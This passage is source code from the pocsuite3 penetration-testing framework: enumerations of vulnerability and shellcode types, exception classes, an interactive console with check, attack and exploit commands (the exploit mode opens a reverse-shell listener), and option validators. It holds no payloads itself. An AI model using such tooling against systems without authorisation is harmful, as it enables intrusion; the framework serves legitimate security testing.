= 4\n\n\nclass OS:\n    LINUX = \"linux\"\n    WINDOWS = \"windows\"\n\n\nclass OS_ARCH:\n    X86 = \"32bit\"\n    X64 = \"64bit\"\n\n\nclass ENCODER_TPYE:\n    XOR = \"xor\"\n    ALPHANUMERIC = \"alphanum\"\n    ROT_13 = \"rot_13\"\n    FNSTENV_XOR = \"fnstenv\"\n    JUMPCALL_XOR = \"jumpcall\"\n\n\nclass SHELLCODE_TYPE:\n    JSP = \"jsp\"\n    JAR = \"jar\"\n    WAR = \"war\"\n    PYTHON = \"python\"\n    PHP = \"php\"\n    ASPX = \"aspx\"\n\n\nclass SHELLCODE_CONNECTION:\n    BIND = 'bind'\n    REVERSE = 'reverse'\n\n\nclass PLUGIN_TYPE:\n    TARGETS = 'targets'\n    POCS = 'pocs'\n    RESULTS = 'results'\n\n\nclass AUTOCOMPLETE_TYPE:\n    SQL = 0\n    OS = 1\n    POCSUITE = 2\n    API = 3\n    CONSOLE = 4\n\n\nclass POC_CATEGORY:\n    EXPLOITS = AttribDict()\n    EXPLOITS.WEBAPP = 'WebApp'\n    EXPLOITS.DOS = 'DoS'\n    EXPLOITS.REMOTE = 'Remote'\n    EXPLOITS.LOCAL = 'Local'\n\n    TOOLS = AttribDict()\n    TOOLS.CRACK = 'Crack'\n\n    PROTOCOL = AttribDict()\n    PROTOCOL.HTTP = \"Http\"\n    PROTOCOL.FTP = \"Ftp\"\n    PROTOCOL.SSH = \"Ssh\"\n    PROTOCOL.TELNET = \"Telnet\"\n    PROTOCOL.REDIS = \"Redis\"\n    PROTOCOL.SMTP = 'SMTP'\n    PROTOCOL.DNS = 'DNS'\n    PROTOCOL.SNMP = 'SNMP'\n    PROTOCOL.SMB = 'SMB'\n    PROTOCOL.MQTT = 'MQTT'\n    PROTOCOL.MYSQL = 'MySQL'\n    PROTOCOL.RDP = 'RDP'\n    PROTOCOL.UPNP = 'UPnP'\n    PROTOCOL.AJP = 'AJP'\n    PROTOCOL.XMPP = 'XMPP'\n    PROTOCOL.WINBOX = 'Winbox'\n    PROTOCOL.MEMCACHED = 'Memcached'\n    PROTOCOL.BACNET = 'BACnet'\n    PROTOCOL.T3 = 'T3'\n\n\nclass OPTION_TYPE:\n    BOOLEAN = \"boolean\"\n    INTEGER = \"integer\"\n    FLOAT = \"float\"\n    STRING = \"string\"\n\n\nclass VUL_TYPE:\n    BACKDOOR = 'Backdoor'\n    INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling'\n    CSRF = 'CSRF'\n    XSS = 'XSS'\n    UXSS = 'UXSS'\n    SSRF = 'Server-Side Request Forgery'\n    SHELLCODE = 'ShellCode'\n    SQL_INJECTION = 'SQL Injection'\n    ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download'\n    ARBITRARY_FILE_CREATION = 'Arbitrary File Creation'\n    ARBITRARY_FILE_DELETION = 'Arbitrary File Deletion'\n    ARBITRARY_FILE_READ = 'Arbitrary File Read'\n    OTHER = 'Other'\n    VARIABLE_COVERAGE = 'Variable Coverage'\n    COMMAND_EXECUTION = 'Command Execution'\n    INJECTING_MALWARE_CODES = 'Injecting Malware Codes'\n    WEAK_PASSWORD = 'Weak Password'\n    DENIAL_OF_SERVICE = 'Denial Of service'\n    DATABASE_FOUND = 'Database Found'\n    UPLOAD_FILES = 'Upload Files'\n    LOCAL_OVERFLOW = 'Local Overflow'\n    PRIVILEGE_ESCALATION = 'Privilege Escalation'\n    INFORMATION_DISCLOSURE = 'Information Disclosure'\n    LOGIN_BYPASS = 'Login Bypass'\n    PATH_TRAVERSAL = 'Path Traversal'\n    RESOLVE_ERROR = 'Resolve Error'\n    UNAUTHORIZED_ACCESS = 'Unauthorized Access'\n    PATH_DISCLOSURE = 'Path Disclosure'\n    CODE_EXECUTION = 'Code Execution'\n    REMOTE_PASSWORD_CHANGE = 'Remote Password Change'\n    REMOTE_OVERFLOW = 'Remote Overflow'\n    DIRECTORY_LISTING = 'Directory Listing'\n    NULL_BYTE_INJECTION = 'Null Byte Injection'\n    MAN_IN_THE_MIDDLE = 'Man-in-the-middle'\n    FORMAT_STRING = 'Format String'\n    BUFFER_OVERFLOW = 'Buffer Overflow'\n    CRLF_INJECTION = 'CRLF Injection'\n    XML_INJECTION = 'XML Injection'\n    LOCAL_FILE_INCLUSION = 'Local File Inclusion'\n    REMOTE_FILE_INCLUSION = 'Remote File Inclusion'\n    CREDENTIAL_PREDICTION = 'Credential Prediction'\n    HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution'\n    HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting'\n    HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting'\n    HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling'\n    HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling'\n    SSI_INJECTION = 'SSI Injection'\n    OUT_OF_MEMORY = 'Out of Memory'\n    INTEGER_OVERFLOWS = 'Integer Overflows'\n    CONTENT_SPOOFING = 'Content Spoofing'\n    XQUERY_INJECTION = 'XQuery Injection'\n    BUFFER_OVER_READ = 'Buffer Over-read'\n    BRUTE_FORCE = 'Brute Force'\n    LDAP_INJECTION = 'LDAP Injection'\n    SECURITY_MODE_BYPASS = 'Security Mode Bypass'\n    BACKUP_FILE_FOUND = 'Backup File Found'\n    XPATH_INJECTION = 'XPath Injection'\n    URL_REDIRECTOR_ABUSE = 'URL Redirector Abuse'\n    CODE_DISCLOSURE = 'Code Disclosure'\n    USE_AFTER_FREE = 'Use After Free'\n    DNS_HIJACKING = 'DNS Hijacking'\n    IMPROPER_INPUT_VALIDATION = 'Improper Input Validation'\n    UAF = 'Use After Free'\n"
  },
  {
    "path": "pocsuite3/lib/core/exception.py",
    "content": "from http.client import HTTPException\n\n\nclass PocsuiteBaseException(Exception):\n    pass\n\n\nclass PocsuiteUserQuitException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteShellQuitException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteDataException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteGenericException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteSystemException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteFilePathException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteConnectionException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteThreadException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteValueException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteMissingPrivileges(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteSyntaxException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteValidationException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteMissingMandatoryOptionException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuitePluginBaseException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuitePluginDorkException(PocsuitePluginBaseException):\n    pass\n\n\nclass PocsuiteHeaderTypeException(PocsuiteBaseException):\n    pass\n\n\nclass PocsuiteIncompleteRead(HTTPException):\n    def __init__(self, partial, expected=None):\n        self.args = partial,\n        self.partial = partial\n        self.expected = expected\n\n    def __repr__(self):\n        if self.expected is not None:\n            e = ', %i more expected' % self.expected\n        else:\n            e = ''\n        return '%s(%i bytes read%s)' % (self.__class__.__name__,\n                                        len(self.partial), e)\n\n    def __str__(self):\n        return repr(self)\n"
  },
  {
    "path": "pocsuite3/lib/core/interpreter.py",
    "content": "# pylint: disable=E0202\nimport os\nimport re\nimport chardet\nimport prettytable\nfrom termcolor import colored\n\nfrom pocsuite3.lib.controller.controller import start\nfrom pocsuite3.lib.core.common import banner, index_modules, data_to_stdout, module_required, \\\n    get_poc_name, stop_after, get_local_ip, is_ipv6_address_format, rtrim, ltrim, exec_cmd, get_file_text\nfrom pocsuite3.lib.core.data import logger, paths, kb, conf\nfrom pocsuite3.lib.core.enums import POC_CATEGORY, AUTOCOMPLETE_TYPE\nfrom pocsuite3.lib.core.exception import PocsuiteBaseException, PocsuiteShellQuitException\nfrom pocsuite3.lib.core.option import _set_listener, _set_http_referer, _set_http_user_agent, _set_network_proxy, \\\n    _set_network_timeout\nfrom pocsuite3.lib.core.register import load_file_to_module\nfrom pocsuite3.lib.core.settings import IS_WIN\nfrom pocsuite3.lib.core.shell import auto_completion, readline\n\n\nclass BaseInterpreter(object):\n    global_help = \"\"\n\n    def __init__(self):\n        self.setup()\n        self.banner = \"\"\n        self.complete = None\n        # Prepare to execute system commands\n        self.input_command = ''\n        self.input_args = ''\n\n    def setup(self):\n        \"\"\" Initialization of third-party libraries\n\n        Setting interpreter history.\n        Setting appropriate completer function.\n\n        :return:\n        \"\"\"\n        auto_completion(completion=AUTOCOMPLETE_TYPE.CONSOLE, console=self.complete)\n\n    def parse_line(self, line):\n        \"\"\" Split line into command and argument.\n\n        :param line: line to parse\n        :return: (command, argument)\n        \"\"\"\n        command, _, arg = line.strip().partition(\" \")\n        return command, arg.strip()\n\n    @property\n    def prompt(self):\n        \"\"\" Returns prompt string \"\"\"\n        return \">>>\"\n\n    def get_command_handler(self, command):\n        \"\"\" Parsing command and returning appropriate handler.\n\n        :param command: command\n        :return: command_handler\n        \"\"\"\n        try:\n            command_handler = getattr(self, \"command_{}\".format(command))\n        except AttributeError:\n            cmd = self.input_command + ' ' + self.input_args\n            for line in exec_cmd(cmd=cmd):\n                result_encoding = chardet.detect(line)['encoding']\n                if result_encoding:\n                    print(line.decode(result_encoding))\n            raise PocsuiteBaseException(\"Pocsuite3 Unknown this command, and run it on system: '{}'\".format(command))\n\n        return command_handler\n\n    def start(self):\n        \"\"\" Routersploit main entry point. Starting interpreter loop. \"\"\"\n\n        while True:\n            try:\n                '''\n                # BUG\n                https://github.com/knownsec/pocsuite3/issues/317\n                https://stackoverflow.com/questions/52102240/how-to-apply-coloring-formatting-to-the-displayed-text-in-input-function-simi\n\n                colorama works by replacing sys.stdout and sys.stderr with versions that interpret ISO 6429 sequences,\n                make appropriate Win32 calls to implement them,\n                and send the rest of the characters on to the underlying stream.\n                This explains your observations: input doesn’t use the Python-level sys.stdout.write,\n                and Spyder interprets the sequences itself but is unaffected by the Win32 calls.\n\n                The only reasonable fix seems to be to use input with no prompt :(\n                '''\n                self.input_command, self.input_args = self.parse_line(input(self.prompt))\n                command = self.input_command.lower()\n                if not command:\n                    continue\n                command_handler = self.get_command_handler(command)\n                command_handler(self.input_args)\n            except PocsuiteBaseException as warn:\n                logger.warn(warn)\n            except EOFError:\n                logger.info(\"Pocsuite3 stopped\")\n                break\n            except KeyboardInterrupt:\n                logger.warn('Interrupt: use the \\'exit\\' command to quit')\n                continue\n\n    def complete(self, text, state):\n        \"\"\"Return the next possible completion for 'text'.\n\n        If a command has not been entered, then complete against command list.\n        Otherwise try to call complete_<command> to get list of completions.\n        \"\"\"\n        if state == 0:\n            original_line = readline.get_line_buffer()\n            line = original_line.lstrip()\n            stripped = len(original_line) - len(line)\n            start_index = readline.get_begidx() - stripped\n            end_index = readline.get_endidx() - stripped\n\n            if start_index > 0:\n                cmd, args = self.parse_line(line)\n                if cmd == \"\":\n                    complete_function = self.default_completer\n                else:\n                    try:\n                        complete_function = getattr(self, \"complete_\" + cmd)\n                    except AttributeError:\n                        complete_function = self.default_completer\n            else:\n                complete_function = self.raw_command_completer\n\n            self.completion_matches = complete_function(text, line, start_index, end_index)\n\n        try:\n            return self.completion_matches[state]\n        except IndexError:\n            return None\n\n    def commands(self, *ignored):\n        \"\"\" Returns full list of interpreter commands.\n\n        :param ignored:\n        :return: full list of interpreter commands\n        \"\"\"\n        return [command.rsplit(\"_\").pop() for command in dir(self) if command.startswith(\"command_\")]\n\n    def raw_command_completer(self, text, line, start_index, end_index):\n        \"\"\" Complete command w/o any argument \"\"\"\n        return [command for command in self.suggested_commands() if command.startswith(text)]\n\n    def default_completer(self, *ignored):\n        return []\n\n    def suggested_commands(self):\n        \"\"\" Entry point for intelligent tab completion.\n\n        Overwrite this method to suggest suitable commands.\n\n        :return: list of suitable commands\n        \"\"\"\n        return self.commands()\n\n\nclass PocsuiteInterpreter(BaseInterpreter):\n    global_help = \"\"\"Global commands:\n    help                        Print this help menu\n    use <module>                Select a module for usage\n    search <search term>        Search for appropriate module\n    list|show all               Show all available pocs\n    clear                       clear the console screen\n    exit                        Exit Pocsuite3\"\"\"\n\n    module_help = \"\"\"Module commands:\n    run                                 Run the selected module with the given options\n    back                                De-select the current module\n    set <option name> <option value>    Set an option for the selected module\n    setg <option name> <option value>   Set an option for all of the modules\n    show [info|options|all]             Print information, options\n    check                               Check if a given target is vulnerable to a selected module's attack\n    attack                              Attack target and return target vulnerable infomation\n    exploit                             Get a shell from remote target\"\"\"\n\n    def __init__(self, module_directory=paths.POCSUITE_POCS_PATH):\n        super(PocsuiteInterpreter, self).__init__()\n\n        self.current_module = None\n        self.raw_prompt_template = None\n        self.module_prompt_template = None\n        self.prompt_hostname = \"Pocsuite3\"\n        self.show_sub_commands = (\n            \"info\", \"options\", \"ip\", \"all\")\n\n        self.global_commands = sorted([\"use \", \"help\", \"exit\", \"show \", \"search \", \"clear\"])\n        self.module_commands = [\"run\", \"back\", \"set \", \"setg \", \"check\"]\n        self.module_commands.extend(self.global_commands)\n        self.module_commands.sort()\n\n        self.modules = index_modules(module_directory)\n        self.module_parent_directory = os.sep.join(\n            module_directory.rstrip(os.sep).split(os.sep)[0:-1]) + os.sep\n        self.modules_count = len(self.modules)\n        # init\n        conf.console_mode = True\n        banner()\n        logger.info(\"Load Pocs :{}\".format(self.modules_count))\n\n        self.last_search = []\n        self.last_ip = []\n        self.main_modules_dirs = []\n        for module in self.modules:\n            temp_module = module\n            temp_module = ltrim(temp_module, self.module_parent_directory).lstrip(os.sep)\n            self.main_modules_dirs.append(temp_module)\n\n        self.__parse_prompt()\n\n    def __parse_prompt(self):\n        host_colorizing = colored(\"{host}\", attrs=['underline'])\n        self.raw_prompt_template = f'{host_colorizing} > '\n\n        # LIGHTRED_EX=91 are fairly well supported, but not part of the standard.\n        self.module_prompt_template = host_colorizing + \" (\\033[91m{module}\\033[0m) > \"\n\n    @property\n    def module_metadata(self):\n        return getattr(self.current_module, \"pocsuite3_module_path\")\n\n    @property\n    def prompt(self):\n        \"\"\" Returns prompt string based on current_module attribute.\n\n        Adding module prefix (module.name) if current_module attribute is set.\n\n        :return: prompt string with appropriate module prefix.\n        \"\"\"\n        if self.current_module:\n            try:\n                return self.module_prompt_template.format(host=self.prompt_hostname,\n                                                          module=self.module_metadata)\n            except (AttributeError, KeyError):\n                return self.module_prompt_template.format(host=self.prompt_hostname, module=\"UnnamedModule\")\n        else:\n            return self.raw_prompt_template.format(host=self.prompt_hostname)\n\n    def command_show(self, *args, **kwargs):\n        sub_command = args[0]\n        func = \"_show_\" + sub_command\n        if not hasattr(self, func):\n            logger.warning(\"Unknown 'show' sub-command '{}'. \"\n                           \"What do you want to show?\\n\"\n                           \"Possible choices are: {}\".format(sub_command, self.show_sub_commands))\n            return\n        getattr(self, func)(*args, **kwargs)\n\n    def command_exit(self, *args, **kwargs):\n        raise EOFError\n\n    def command_clear(self, *args, **kwargs):\n        if IS_WIN:\n            os.system('cls')\n        else:\n            os.system('clear')\n\n    def command_help(self, *args, **kwargs):\n        data_to_stdout(self.global_help)\n        data_to_stdout(\"\\n\")\n        if self.current_module:\n            data_to_stdout(\"\\n\")\n            data_to_stdout(self.module_help)\n            data_to_stdout(\"\\n\")\n\n    def _show_ip(self, *args, **kwargs):\n        self.last_ip = []\n        ips = get_local_ip(all=True)\n        tb = prettytable.PrettyTable([\"Index\", \"IP\"])\n        index = 0\n        for item in ips:\n            tb.add_row([str(index), item])\n            self.last_ip.append(item)\n            index += 1\n        data_to_stdout(\"\\n\" + tb.get_string() + \"\\n\")\n\n    def command_back(self, *args, **kwargs):\n        self.current_module = None\n\n    def command_q(self, *args, **kwargs):\n        if self.current_module:\n            self.command_back(args, kwargs)\n        else:\n            self.command_exit(args, kwargs)\n\n    def command_search(self, *args, **kwargs):\n        keyword = args[0]\n\n        if not keyword:\n            logger.warning(\"Please specify search keyword. e.g. 'search wordpress'\")\n            return\n\n        tb = prettytable.PrettyTable()\n        tb.field_names = [\"Index\", \"Path\"]\n\n        search_result = []\n        for module in self.main_modules_dirs:\n            m = re.search(keyword, module, re.I | re.S)\n            if m:\n                search_result.append((module, m.group(0)))\n\n        index = 0\n        for s, k in search_result:\n            tb.add_row([index, \"{}\\033[31m{}\\033[0m{}\".format(*s.partition(k))])\n            index = index + 1\n\n        self.last_search = [i for i, j in search_result]\n        data_to_stdout(tb.get_string())\n        data_to_stdout(\"\\n\")\n\n    def command_use(self, module_path, *args, **kwargs):\n        if module_path.isdigit():\n            index = int(module_path)\n            if index >= len(self.last_search):\n                logger.warning(\"Index out of range\")\n                return\n            module_path = self.last_search[index]\n\n        module_ext = ''\n        module_path_found = False\n        for module_ext in ['', '.py', '.yaml']:\n            if os.path.exists(module_path + module_ext):\n                module_path_found = True\n                module_path = module_path + module_ext\n                break\n            elif os.path.exists(os.path.join(self.module_parent_directory, module_path + module_ext)):\n                module_path_found = True\n                module_path = os.path.join(self.module_parent_directory, module_path + module_ext)\n                break\n\n        if not module_path_found:\n            err_msg = \"No such file: '{0}'\".format(module_path)\n            logger.error(err_msg)\n            return\n\n        if module_ext == '':\n            if module_path.endswith('.py'):\n                module_ext = '.py'\n            elif module_path.endswith('.yaml'):\n                module_ext = '.yaml'\n        try:\n            load_file_to_module(module_path)\n            self.current_module = kb.current_poc\n            self.current_module.pocsuite3_module_path = ltrim(rtrim(module_path, module_ext),\n                                                              self.module_parent_directory)\n        except Exception as err:\n            logger.error(str(err))\n\n    @module_required\n    def command_set(self, *args, **kwargs):\n        key, _, value = args[0].partition(\" \")\n        if key in self.current_module.options:\n            self.current_module.set_option(key, value)\n            logger.info(\"{} => {}\".format(key, value))\n        elif key in self.current_module.global_options:\n            self.current_module.setg_option(key, value)\n            logger.info(\"{} => {}\".format(key, value))\n        elif key in self.current_module.payload_options:\n            if value.isdigit() and key != \"lport\":\n                index = int(value)\n                if index >= len(self.last_ip):\n                    logger.warning(\"Index out of range\")\n                    return\n                value = self.last_ip[index]\n            self.current_module.setp_option(key, value)\n            logger.info(\"{} => {}\".format(key, value))\n        else:\n            logger.error(\"You can't set option '{}'.\"\n                         .format(key))\n\n    def _attack_mode(self, mod):\n        \"\"\"\n        根据不同模式发起不同的验证\n\n        :param mod: 模式类型 verify|attack|shell\n        :return:\n        \"\"\"\n        # 设置全局参数\n        if self.current_module.current_protocol == POC_CATEGORY.PROTOCOL.HTTP:\n            target = self.current_module.getg_option(\"target\")\n        else:\n            rhost = self.current_module.getg_option(\"rhost\")\n            rport = self.current_module.getg_option(\"rport\")\n            target = f\"{rhost}:{rport}\"\n        conf.mode = mod\n        kb.task_queue.put((target, self.current_module))\n        try:\n            start()\n        except PocsuiteShellQuitException:\n            pass\n        kb.results = []\n\n    def _set_global_conf(self):\n        \"\"\"\n        设置全局的参数\n\n        :return:\n        \"\"\"\n        if self.current_module.current_protocol == POC_CATEGORY.PROTOCOL.HTTP:\n            conf.referer = self.current_module.getg_option(\"referer\")\n            conf.agent = self.current_module.getg_option(\"agent\")\n            conf.proxy = self.current_module.getg_option(\"proxy\")\n            conf.timeout = self.current_module.getg_option(\"timeout\")\n            # 设置全局参数\n\n            _set_http_referer()\n            _set_http_user_agent()\n            _set_network_proxy()\n            _set_network_timeout()\n\n    @module_required\n    def command_check(self, *args, **kwargs):\n        self.current_module.check_requirement(self.current_module.global_options, self.current_module.options)\n        # 检测必须参数是否被设置\n        self._set_global_conf()\n        self._attack_mode(\"verify\")\n\n    @module_required\n    def command_verify(self, *args, **kwargs):\n        self.command_check(args, kwargs)\n\n    @module_required\n    def command_attack(self, *args, **kwargs):\n        # 检测必须参数是否被设置\n        self.current_module.check_requirement(self.current_module.global_options, self.current_module.options)\n        self._set_global_conf()\n        self._attack_mode(\"attack\")\n\n    @module_required\n    def command_run(self, *args, **kwargs):\n        self.command_attack(args, kwargs)\n\n    @module_required\n    def command_exploit(self, *args, **kwargs):\n        self.current_module.check_requirement(self.current_module.payload_options, self.current_module.global_options)\n        self._set_global_conf()\n        conf.connect_back_host = self.current_module.getp_option(\"lhost\")\n        conf.connect_back_port = self.current_module.getp_option(\"lport\")\n        conf.mode = \"shell\"\n        conf.ipv6 = is_ipv6_address_format(conf.connect_back_host)\n        _set_listener()\n        self._attack_mode(\"shell\")\n\n    @module_required\n    def command_shell(self, *args, **kwargs):\n        self.command_exploit(args, kwargs)\n\n    @module_required\n    def command_setg(self, *args, **kwargs):\n        key, _, value = args[0].partition(\" \")\n        if key in self.current_module.global_options:\n            self.current_module.setg_option(key, value)\n            logger.info(\"{} => {}\".format(key, value))\n        else:\n            logger.error(\"You can't set option '{}'.\\n\"\n                         \"Available options: {}\".format(key, self.current_module.options))\n\n    def command_list(self, *args, **kwargs):\n        # 展现所有可用的poc\n        search_result = []\n        tb = prettytable.PrettyTable([\"Index\", \"Path\", \"Name\"])\n        index = 0\n        for tmp_module in self.main_modules_dirs:\n            found = os.path.join(self.module_parent_directory, tmp_module + \".py\")\n            if not os.path.exists(found):\n                found = os.path.join(self.module_parent_directory, tmp_module + \".yaml\")\n            code = get_file_text(found)\n            name = get_poc_name(code)\n            tb.add_row([str(index), tmp_module, name])\n            search_result.append(tmp_module)\n            index += 1\n        data_to_stdout(\"\\n\" + tb.get_string() + \"\\n\")\n        self.last_search = search_result\n\n    def _show_all(self, *args, **kwargs):\n        if self.current_module is None:\n            self.command_list(args, kwargs)\n        else:\n            self._show_info(args, kwargs)\n            self._show_options(args, kwargs)\n\n    @module_required\n    def _show_info(self, *args, **kwargs):\n        fields = [\"name\", \"VulID\", \"version\", \"author\", \"vulDate\", \"createDate\", \"updateDate\", \"references\",\n                  \"appPowerLink\", \"appName\", \"appVersion\", \"vulType\", \"desc\"]\n        msg = \"\"\n        for field in fields:\n            value = getattr(self.current_module, field, None)\n            if value:\n                value = str(value).strip()\n                # for name highlight\n                if field == \"name\":\n                    value = colored(value, \"green\")\n                msg = msg + \"%-20s %-10s\\n\" % (field, value)\n        data_to_stdout(\"\\n\")\n        data_to_stdout(msg)\n        data_to_stdout(\"\\n\")\n\n    @module_required\n    def _show_options(self, *args, **kwargs):\n        global_options = self.current_module.global_options\n        module_options = self.current_module.options\n        payload_options = self.current_module.payload_options\n\n        tb2 = prettytable.PrettyTable([\"Name\", \"Current settings\", \"Type\", \"Descript\"])\n        for name, opt in global_options.items():\n            value = opt.value\n            if opt.require and value == \"\":\n                value = colored(\"*require*\", \"red\")\n            tb2.add_row([name, value, opt.type, opt.description])\n        data_to_stdout(\"\\nTarget options:\\n\")\n        data_to_stdout(tb2.get_string())\n        data_to_stdout(\"\\n\")\n\n        if module_options:\n            tb = prettytable.PrettyTable([\"Name\", \"Current settings\", \"Type\", \"Descript\"])\n            # add target option\n            for name, opt in module_options.items():\n                value = opt.value\n                if opt.require and value == \"\":\n                    value = colored(\"*require*\", \"red\")\n                tb.add_row([name, value, opt.type, opt.description])\n            data_to_stdout(\"\\nModule options:\\n\")\n            data_to_stdout(tb.get_string())\n            data_to_stdout(\"\\n\")\n\n        # exploit payload\n        if payload_options:\n            tb3 = prettytable.PrettyTable([\"Name\", \"Current settings\", \"Type\", \"Descript\"])\n            for name, opt in payload_options.items():\n                value = opt.value\n                if opt.require and value == \"\":\n                    value = colored(\"*require*\", \"red\")\n                tb3.add_row([name, value, opt.type, opt.description])\n            data_to_stdout(\"\\nPayload options (reverse_tcp):\\n\")\n            data_to_stdout(tb3.get_string())\n            data_to_stdout(\"\\n\")\n\n        data_to_stdout(\"\\n\")\n\n    @stop_after(2)\n    def complete_use(self, text, *args, **kwargs):\n\n        if text:\n            all_possible_matches = filter(lambda x: x.startswith(text), self.main_modules_dirs)\n\n            matches = set()\n            for match in all_possible_matches:\n                head, sep, tail = match[len(text):].partition('.')\n                if not tail:\n                    sep = \"\"\n                matches.add(\"\".join((text, head, sep)))\n            return list(matches)\n\n        else:\n            return self.main_modules_dirs\n\n    @stop_after(2)\n    def complete_show(self, text, *args, **kwargs):\n\n        if text:\n            all_possible_matches = filter(lambda x: x.startswith(text), self.show_sub_commands)\n            return list(all_possible_matches)\n\n        else:\n            return self.show_sub_commands\n\n    @module_required\n    @stop_after(2)\n    def complete_set(self, text, *args, **kwargs):\n        all_options = self.current_module.get_options().keys()\n\n        if text:\n            all_possible_matches = filter(lambda x: x.startswith(text), all_options)\n            return list(all_possible_matches)\n\n        else:\n            return []\n"
  },
  {
    "path": "pocsuite3/lib/core/interpreter_option.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time    : 2018/12/26 下午2:53\n# @Author  : chenghs\n# @File    : interpreter_option.py\nfrom pocsuite3.lib.core.common import is_ipv6_address_format, is_ip_address_format\nfrom pocsuite3.lib.core.exception import PocsuiteValidationException\n\n\nclass Option(object):\n    \"\"\" Exploit attribute that is set by the end user \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        self.description = description\n        self.require = require\n        self.display_value = default\n\n        if default:\n            self.__set__(\"\", default)\n        else:\n            self.value = \"\"\n\n    def __get__(self, instance, owner):\n        return self.value\n\n    # def __getattr__(self, name):\n    #     try:\n    #         return self[name]\n    #     except KeyError:\n    #         raise AttributeError(name)\n\n    # def __setattr__(self, name, value):\n    #     self[name] = value\n\n    def __iter__(self):\n        # first start by grabbing the Class items\n        iters = dict((x, y) for x, y in Option.__dict__.items() if x[:2] != '__')\n\n        # then update the class items with the instance items\n        iters.update(self.__dict__)\n\n        # now 'yield' through the items\n        for x, y in iters.items():\n            yield x, y\n\n\nclass OptIP(Option):\n    \"\"\" Option IP attribute \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        super().__init__(default, description, require)\n        if description == \"\":\n            self.description = \"IPv4 or IPv6 address\"\n        self.type = \"Ip\"\n\n    def __set__(self, instance, value):\n        if not value or is_ip_address_format(value) or is_ipv6_address_format(value):\n            self.value = self.display_value = value\n        else:\n            raise PocsuiteValidationException(\"Invalid address. Provided address is not valid IPv4 or IPv6 address.\")\n\n\nclass OptPort(Option):\n    \"\"\" Option Port attribute \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        super().__init__(default, description, require)\n        if description == \"\":\n            self.description = \"The target port\"\n        self.type = \"Port\"\n\n    def __set__(self, instance, value):\n        try:\n            value = int(value)\n\n            if 0 <= value <= 65535:  # max port number is 65535\n                self.display_value = str(value)\n                self.value = value\n            else:\n                raise PocsuiteValidationException(\"Invalid option. Port value should be between 0 and 65536.\")\n        except ValueError:\n            raise PocsuiteValidationException(\"Invalid option. Cannot cast '{}' to integer.\".format(value))\n\n\nclass OptBool(Option):\n    \"\"\" Option Bool attribute \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        super().__init__(default, description, require)\n\n        if default:\n            self.display_value = \"true\"\n        else:\n            self.display_value = \"false\"\n\n        self.value = default\n        self.type = \"Bool\"\n\n    def __set__(self, instance, value):\n        if isinstance(value, bool):\n            self.value = value\n            return\n\n        if value.lower() == \"true\":\n            self.value = True\n            self.display_value = value\n        elif value.lower() == \"false\":\n            self.value = False\n            self.display_value = value\n        else:\n            raise PocsuiteValidationException(\"Invalid value. It should be true or false.\")\n\n\nclass OptInteger(Option):\n    \"\"\" Option Integer attribute \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        super().__init__(default, description, require)\n\n        self.type = \"Integer\"\n\n    def __set__(self, instance, value):\n        try:\n            self.display_value = str(value)\n            self.value = int(value)\n        except ValueError:\n            raise PocsuiteValidationException(\"Invalid option. Cannot cast '{}' to integer.\".format(value))\n\n\nclass OptFloat(Option):\n    \"\"\" Option Float attribute \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        super().__init__(default, description, require)\n\n        self.type = \"Float\"\n\n    def __set__(self, instance, value):\n        try:\n            self.display_value = str(value)\n            self.value = float(value)\n        except ValueError:\n            raise PocsuiteValidationException(\"Invalid option. Cannot cast '{}' to float.\".format(value))\n\n\nclass OptString(Option):\n    \"\"\" Option String attribute \"\"\"\n\n    def __init__(self, default, description=\"\", require=False):\n        super().__init__(default, description, require)\n\n        self.type = \"String\"\n\n    def __set__(self, instance, value):\n        try:\n            self.value = self.display_value = str(value)\n        except ValueError:\n            raise PocsuiteValidationException(\"Invalid option. Cannot cast '{}' to string.\".format(value))\n\n\nclass OptItems(Option):\n    def __init__(self, default, description=\"\", selected=\"\", require=False):\n        super().__init__(default, description, require)\n        self.selected = selected\n        self.type = \"Select\"\n        self.__set__(\"\", selected)\n\n        if description == \"\":\n            self.description = \"You can select {} ,default:{}\".format(repr(default), self.selected)\n\n    def __set__(self, instance, value):\n        # if value not in self.default:\n        #     raise PocsuiteValidationException(\"Cannot set {},you must select {}\".format(value, self.default))\n        self.value = value\n\n\nclass OptDict:\n    def __init__(self, require=False, selected=False, default={}):\n        # super().__init__(default, '', require)\n        self.default = {}\n        b = \"\"\n        for k, v in default.items():\n            self.default[k] = v\n            b += \"{k}:{v}\\n\".format(k=k, v=v)\n        self.selected = selected\n        self.require = require\n        self.type = \"Dict\"\n        self.__set__(\"\", selected)\n\n        self.description = \"{}\\nYou can select {} ,default:{}\".format(b,\n                                                                      repr(self.default.keys()),\n                                                                      self.selected)\n\n    def __set__(self, instance, value):\n        # if value not in self.default:\n        #     raise PocsuiteValidationException(\"Cannot set {},you must select {}\".format(value, self.default))\n        # self.value = self.display_value = value\n        self.value = self.default[value] if value in self.default else value\n"
  },
  {
    "path": "pocsuite3/lib/core/log.py",
